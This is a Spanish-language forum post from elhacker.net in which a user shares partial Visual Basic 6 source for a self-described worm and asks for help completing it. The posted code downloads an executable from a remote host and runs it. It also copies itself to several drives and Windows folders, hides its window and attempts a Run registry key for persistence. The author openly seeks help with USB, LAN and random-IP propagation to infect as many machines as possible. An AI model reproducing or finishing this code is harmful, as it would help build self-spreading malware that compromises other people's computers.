elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Arreglado, de nuevo, el registro del warzone (wargame) de EHN


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Análisis y Diseño de Malware (Moderador: fary)
| | |-+  Ayuda con proyecto w0rm [VB6]!!!! (incluye modulo de descarga remota ;) )
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Ayuda con proyecto w0rm [VB6]!!!! (incluye modulo de descarga remota ;) )  (Leído 2,228 veces)
FoxSoul

Desconectado Desconectado

Mensajes: 9


Ver Perfil
Ayuda con proyecto w0rm [VB6]!!!! (incluye modulo de descarga remota ;) )
« en: 28 Diciembre 2013, 20:34 pm »

Hola foro! primero que nada me gustaria desearles feliz año! Ya empezo el 2014 y me agarro trabajando en un proyecto pero la verdad es que me necesisto unos consejos!  Tengo mi w0rm a la mitad pobresito xD  Bueno les explico el proyecto:

#Nombre: Proyecto W0rm 2013.

#Lenguaje: Visual Basic 6.

#SO: Windows 7 Español-Ingles.

#Funciones:

1-Auto-Copy en todas las unidades disponibles y en algunos de los directorios de windows.

2-Crear llave de Registro para garantizar que se inicie con la PC.

3-Descargar y ejecutar.

4-Propagarce por Usb, Lan y Generar IP.

5-Comprobar estado de w0rm y archivos extra.

#codigo
Código:

Private Sub Form_Load()

On Error Resume Next             'le digo que si hay algun error siga adelante.

URLDownloadToFileA 0, "https://myremotesite.com/Archivo.exe",
"C:\Archivo.exe", 0, 0    'esto es parte del codigo para descargar y ejecutar, le digo de donde conseguir el archivo y donde guardarlo.
 
'#####1-Auto-Copy#####

RutaFinal1 = "C:\testworm.exe" 'le digo donde copiarce
RutaFinal2 = "C:\Windows\testworm.exe"
RutaFinal3 = "D:\testworm.exe"
RutaFinal4 = "F:\testworm.exe"

ArchivoOrigen = App.Path & "\" & App.EXEName & ".exe"  'le digo donde estsa guardado para que pueda copiarce.

FileCopy ArchivoOrigen, RutaFinal1
FileCopy ArchivoOrigen, RutaFinal2
FileCopy ArchivoOrigen, RutaFinal3  'le digo que se copie.
FileCopy ArchivoOrigen, RutaFinal4
FileCopy ArchivoOrigen, RutaFinal5

Me.Visible = False                          'le digo que lo haga oculto

End Sub

' #####2-Crear llave de Registro#####

'en esta parte estoy trabajando ahora.....

Private Sub Resident()

Dim REG As Object
gusano = "C:\Windows\en\testworm.exe"
Set REG = CreateObject("WScript.Shell")
REG.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Test", gusano

'esto no me funciona y llevo un rato probando distintos codigos..pero nada en mi registro......que es lo que esta mal????????


End Sub


'######3-Descargar y ejecutar.######

'segunda parte del codigo de descarga y ejecucion, esta se encarga de ejecutar el Archivo.

Private Sub Timer8_Timer()      'pongo un Timer con intervalo de dos segundos
On Error Resume Next                                  en el form.
If Dir("C:\Archivo.exe") = "" Then
Timer8.Enabled = True
Else
Shell "C:\Archivo.exe", vbNormalFocus
Timer8.Enabled = False                         'Esta parte apaga el timer,para
End If                                                  el Archivo.exe no se siga ejecutando!
 



'#####4-Propagarce por Usb, Lan y Generar iP.#####
    
'trabajando en esto.....

'MadAntrax publico un modulo de clase para esto pero era para Xp....como puedo hacer que funcione en win7? tengo entendido que el modulo asi que el gusano creara IPs para infectar la mayor cantidad de equipos posible!!! Necesito algo asi!

#####5-Comprobar estado######

'trabajando en esto ...

'esto me las puedo arreglar tranquilo despues no me urge xD con unos timers o los comandos minute(now) u hour(now) se que le voy a dar forma...me urgen mas las dos funciones anteriores!


End Sub


Modulo para completar la funcion de Descarga y Ejecucion.
Código:

Declare Sub URLDownloadToFileA Lib "URLMON" (ByVal e As Long, ByVal w As String, ByVal f As String, ByVal g As Long, ByVal n As Long)
Public Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long




Bueno la verdad gracias al foro y a mucha busqueda por google,  avanze un poco pero lo que mas necesito ahora seria completar las funciones que tengo incompletas.  MadAntrax posteo un modulo para propagarce por LAN e IP pero era para XP , como puedo hacer esto para win7 ??? a propagarce por IP  me refiero a que cree dinamicamente IPs para infectar la mayor cantidad de equipos posible!

Bueno cualquier ayuda les estare infinitamente agradecido! Desde ya gracias por leer y espero que les sirva el Modulo y el poco codigo que aporto!
« Última modificación: 3 Enero 2014, 13:46 pm por FoxSoul » En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Como enlazar un modulo dentro del proyecto
Programación Visual Basic
yonky_85 4 1,731 Último mensaje 14 Septiembre 2006, 20:20 pm
por yonky_85
Problema Forzar descarga url remota/externa
PHP
pisagatos 1 3,078 Último mensaje 10 Octubre 2008, 18:09 pm
por Erik#
[Proyecto] Administración Remota « 1 2 »
Programación Visual Basic
LeandroA 14 5,658 Último mensaje 10 Diciembre 2010, 14:00 pm
por agus0
Obtener porcentaje de descarga desde un módulo
.NET (C#, VB.NET, ASP)
okik 9 5,258 Último mensaje 10 Julio 2015, 07:39 am
por Eleкtro
Incluye un tutorial y quiero saber que dll escoger del proyecto.
.NET (C#, VB.NET, ASP)
Meta 0 1,731 Último mensaje 19 Junio 2020, 22:41 pm
por Meta
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines